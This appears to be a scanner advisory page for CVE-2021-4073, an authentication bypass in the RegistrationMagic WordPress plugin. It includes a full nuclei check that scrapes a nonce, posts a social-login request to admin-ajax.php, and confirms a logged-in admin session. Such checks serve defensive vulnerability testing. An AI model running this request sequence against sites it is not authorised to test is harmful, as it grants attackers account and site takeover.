CVE-2021-4073· metagauss / registrationmagic· CWE-287
RegistrationMagic <= 5.0.1.7 - Authentication Bypass
criticalseverity
9.8CVSS score
6.8%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it
RegistrationMagic WordPress plugin versions <= 5.0.1.7 contain an authentication bypass caused by missing identity validation in social_login_using_email(), letting unauthenticated users log in as any site user, exploit requires knowing a valid username.
Impact
Unauthenticated attackers can log in as any user, including administrators, potentially leading to full site compromise.
Fix
Update to the latest version of the plugin where the issue is fixed.
How to confirm it
Send: GET {{BaseURL}}{{path}}
Positive when: status_code == 200 and contains_all(body, "handle_data(", "FB.login(")
Send: GET {{BaseURL}}
Positive when: status_code == 200 and contains_all(body, "\"request_processing\":", "\"security\":", "\"hours\":")
Send: POST /wp-admin/admin-ajax.php
Positive when: contains(header, "wordpress_logged_in_") and contains_all(body, "\"code\":", "\"msg\":") and status_code == 200
Send: GET /wp-admin/
Positive when: contains_all(body, '>Profile</div>', 'wp-admin-bar-root-default') and status_code == 200Run it with nuclei: nuclei -id CVE-2021-4073 -u <target>
The full check
id: CVE-2021-4073
info:
name: RegistrationMagic <= 5.0.1.7 - Authentication Bypass
author: daffainfo
severity: critical
description: |
RegistrationMagic WordPress plugin versions <= 5.0.1.7 contain an authentication bypass caused by missing identity validation in social_login_using_email(), letting unauthenticated users log in as any site user, exploit requires knowing a valid username.
impact: |
Unauthenticated attackers can log in as any user, including administrators, potentially leading to full site compromise.
remediation: |
Update to the latest version of the plugin where the issue is fixed.
reference:
- https://www.wordfence.com/blog/2021/12/authentication-bypass-vulnerability-patched-in-user-registration-plugin/
- https://nvd.nist.gov/vuln/detail/CVE-2021-4073
- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-4073
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-4073
cwe-id: CWE-287
epss-score: 0.0684
epss-percentile: 0.94082
cpe: cpe:2.3:a:metagauss:registrationmagic:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: metagauss
product: registrationmagic
framework: wordpress
tags: cve,cve2021,wordpress,wp,wp-plugin,metagauss,registrationmagic,auth-bypass,vkev,vuln
flow: |
if (template.path != null) {
http(1)
}
http(2)
http(3)
http(4)
variables:
email: "{{randstr}}@{{rand_base(5)}}.com"
http:
- method: GET
path:
- "{{BaseURL}}{{path}}"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "handle_data(", "FB.login(")'
condition: and
internal: true
extractors:
- type: regex
name: nonce
group: 1
regex:
- "handle_data.*'([0-9a-f]+)'\\);"
internal: true
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"request_processing\":", "\"security\":", "\"hours\":")'
condition: and
internal: true
extractors:
- type: regex
name: nonce
group: 1
regex:
- '"security":"([0-9a-f]+)","hours"'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=rm_login_social_user&email={{email}}&security={{nonce}}
matchers:
- type: dsl
dsl:
- 'contains(header, "wordpress_logged_in_")'
- 'contains_all(body, "\"code\":", "\"msg\":")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
GET /wp-admin/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains_all(body, '>Profile</div>', 'wp-admin-bar-root-default')"
- 'status_code == 200'
condition: andReferences
- https://www.wordfence.com/blog/2021/12/authentication-bypass-vulnerability-patched-in-user-registration-plugin/
- https://nvd.nist.gov/vuln/detail/CVE-2021-4073
- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-4073
Use this check only on systems you are authorised to test. Where the data comes from